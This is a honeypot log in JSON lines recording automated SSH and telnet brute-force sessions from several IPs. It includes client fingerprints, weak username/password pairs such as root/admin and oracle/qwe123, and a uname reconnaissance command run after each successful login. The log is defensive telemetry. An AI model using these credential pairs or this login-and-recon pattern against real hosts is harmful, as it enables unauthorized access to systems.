{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:42.361761Z","src_ip":"152.32.189.59","session":"c25cea0a032d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"12345","message":"login attempt [vhserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:43.243098Z","src_ip":"152.32.189.59","session":"c25cea0a032d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42994,"dst_ip":"10.17.0.5","dst_port":22,"session":"a36634ab978a","protocol":"ssh","message":"New connection: 176.65.132.254:42994 (10.17.0.5:22) [session: a36634ab978a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:43.457165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:43.462058Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:43.551586Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:43.846462Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:44.087932Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:44.092122Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:44.177263Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:44.182129Z","src_ip":"176.65.132.254","session":"a36634ab978a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:44.476610Z","src_ip":"152.32.189.59","session":"c25cea0a032d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60468,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ae9c42b420","protocol":"telnet","message":"New connection: 38.54.119.93:60468 (10.17.0.5:23) [session: 46ae9c42b420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:45.612554Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43006,"dst_ip":"10.17.0.5","dst_port":22,"session":"958d2a798148","protocol":"ssh","message":"New connection: 176.65.132.254:43006 (10.17.0.5:22) [session: 958d2a798148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:47.764367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:47.768934Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:47.851505Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:48.256280Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:48.576801Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:48.580308Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:48.665266Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:48.670187Z","src_ip":"176.65.132.254","session":"958d2a798148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35814,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34f865ad973","protocol":"telnet","message":"New connection: 38.54.119.93:35814 (10.17.0.5:23) [session: f34f865ad973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:51.034967Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58882,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba872a219e80","protocol":"ssh","message":"New connection: 176.65.132.254:58882 (10.17.0.5:22) [session: ba872a219e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.039091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.046585Z","src_ip":"176.65.132.254","session":"ba872a219e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.140070Z","src_ip":"176.65.132.254","session":"ba872a219e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":37362,"dst_ip":"10.17.0.5","dst_port":22,"session":"63d68ed352c9","protocol":"ssh","message":"New connection: 187.16.96.250:37362 (10.17.0.5:22) [session: 63d68ed352c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.190697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.198361Z","src_ip":"187.16.96.250","session":"63d68ed352c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.314809Z","src_ip":"187.16.96.250","session":"63d68ed352c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.455628Z","src_ip":"176.65.132.254","session":"ba872a219e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user11","message":"login attempt [user/user11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:52.812240Z","src_ip":"187.16.96.250","session":"63d68ed352c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:53.547668Z","src_ip":"176.65.132.254","session":"ba872a219e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:53.931199Z","src_ip":"187.16.96.250","session":"63d68ed352c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.894331216812134,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:55.929066Z","src_ip":"38.54.119.93","session":"f34f865ad973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58900,"dst_ip":"10.17.0.5","dst_port":22,"session":"cee7301f2e10","protocol":"ssh","message":"New connection: 176.65.132.254:58900 (10.17.0.5:22) [session: cee7301f2e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:56.073353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:56.078142Z","src_ip":"176.65.132.254","session":"cee7301f2e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:56.160534Z","src_ip":"176.65.132.254","session":"cee7301f2e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:56.456614Z","src_ip":"176.65.132.254","session":"cee7301f2e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:57.547870Z","src_ip":"176.65.132.254","session":"cee7301f2e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40138,"dst_ip":"10.17.0.5","dst_port":23,"session":"396ea72ffbd8","protocol":"telnet","message":"New connection: 38.54.119.93:40138 (10.17.0.5:23) [session: 396ea72ffbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:57:57.899487Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58918,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0972ea1b61","protocol":"ssh","message":"New connection: 176.65.132.254:58918 (10.17.0.5:22) [session: af0972ea1b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:00.496905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:00.501114Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:00.582657Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42070,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a6f0c265b4","protocol":"telnet","message":"New connection: 38.54.119.93:42070 (10.17.0.5:23) [session: 32a6f0c265b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:00.720757Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:00.853290Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:01.065800Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:01.069459Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:01.154680Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:01.160444Z","src_ip":"176.65.132.254","session":"af0972ea1b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cdb536958d9","protocol":"telnet","message":"New connection: 38.54.119.93:42644 (10.17.0.5:23) [session: 8cdb536958d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:01.649847Z"}
